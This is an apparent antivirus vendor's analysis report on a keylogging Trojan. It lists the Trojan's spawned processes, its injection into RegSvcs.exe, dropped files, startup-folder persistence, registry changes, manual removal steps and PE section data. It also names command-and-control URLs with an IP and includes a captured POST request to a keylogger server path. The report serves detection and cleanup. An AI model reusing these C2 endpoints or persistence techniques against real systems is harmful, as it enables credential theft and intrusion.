Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:3160
QZRScAXZAh.exe:3916
CgPZ.exe:1916

The Trojan injects its code into the following process(es):

RegSvcs.exe:2084

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process RegSvcs.exe:2084 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\5cc55762-44ea-d3b8-0669-a6ac0e4f3302 (57 bytes)

The process %original file name%.exe:3160 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\IXP000.TMP\QZRScAXZAh.exe (35153 bytes)

The Trojan deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\IXP000.TMP\QZRScAXZAh.exe (0 bytes)

The process QZRScAXZAh.exe:3916 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut3765.tmp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xicdcrj (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\CgPZT.au3 (130 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\CgPZ.exe (1874 bytes)

The Trojan deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut3765.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xicdcrj (0 bytes)

The process CgPZ.exe:1916 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JAELSKSaFAGf.lnk (846 bytes)

Registry activity

The process RegSvcs.exe:2084 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\RegSvcs_RASMANCS]
"MaxFileSize" = "1048576"
"FileDirectory" = "%windir%\tracing"
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\RegSvcs_RASAPI32]
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\RegSvcs_RASMANCS]
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\RegSvcs_RASAPI32]
"EnableConsoleTracing" = "0"
"MaxFileSize" = "1048576"
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\RegSvcs_RASMANCS]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\RegSvcs_RASAPI32]
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\RegSvcs_RASMANCS]
"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\RegSvcs_RASAPI32]
"EnableFileTracing" = "0"

The process %original file name%.exe:3160 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
"wextract_cleanup0" = "rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 C:\Users\"%CurrentUserName%"\AppData\Local\Temp\IXP000.TMP\"

The Trojan deletes the following value(s) in system registry:

The Trojan disables automatic startup of the application by deleting the following autorun value:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
"wextract_cleanup0"

Dropped PE files

MD5	File path
b06e67f9767e5023892d9698703ad098	c:\Users\"%CurrentUserName%"\FodCQGqPNUt5uF4K\CgPZ.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):

   %original file name%.exe:3160
   QZRScAXZAh.exe:3916
   CgPZ.exe:1916

2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:

   C:\Users\"%CurrentUserName%"\AppData\Local\Temp\5cc55762-44ea-d3b8-0669-a6ac0e4f3302 (57 bytes)
   C:\Users\"%CurrentUserName%"\AppData\Local\Temp\IXP000.TMP\QZRScAXZAh.exe (35153 bytes)
   C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut3765.tmp (196 bytes)
   C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xicdcrj (784 bytes)
   C:\Users\"%CurrentUserName%"\AppData\Roaming\CgPZT.au3 (130 bytes)
   C:\Users\"%CurrentUserName%"\AppData\Roaming\CgPZ.exe (1874 bytes)
   C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JAELSKSaFAGf.lnk (846 bytes)

4. Delete the following value(s) in the autorun key (How to Work with System Registry):

   [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
   "wextract_cleanup0" = "rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 C:\Users\"%CurrentUserName%"\AppData\Local\Temp\IXP000.TMP\"

5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
6. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version:
File Description:
Comments:
Language: English (United States)

Company Name: Product Name: Product Version: Legal Copyright: Legal Trademarks: Original Filename: Internal Name: File Version: File Description: Comments: Language: English (United States)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	26980	27136	4.40175	22c7cbc7745692002dbdf65a4bc48e63
.data	32768	6796	1024	2.20139	317f8a934ee443eee01c2a315bde9ca1
.idata	40960	4220	4608	3.49841	a5d9b0c8d0d0e35bcbb5219dda1a3075
.rsrc	49152	1494116	1494528	5.16921	bc79fc206af005110c07a8d5d40d525f
.reloc	1544192	2240	2560	4.41763	7772c8e6ff71410862c324630aac5515

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://prosper.kancoway.com/Panel/api	68.171.217.250
hxxp://selfypay.info/Products/iSpyKelogger/Server/

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

POST /Products/iSpyKelogger/Server/ HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Host: selfypay.info

Content-Length: 122

Expect: 100-continue

Connection: Keep-Alive

HTTP/1.1 100 Continue

....

HTTP/1.1 404 Not Found

Date: Sun, 30 Oct 2016 03:26:36 GMT

Server: Apache

Content-Length: 346

Content-Type: text/html; charset=iso-8859-1
"-//IETF//DTD HTML 2.0//EN">.&
lt;head>.404 Not Found.body>.
Not Found
.
The requested URL /Pr
oducts/iSpyKelogger/Server/ was not found on this server.
.&l
t;p>Additionally, a 404 Not Found.error was encountered while tryin
g to use an ErrorDocument to handle the request..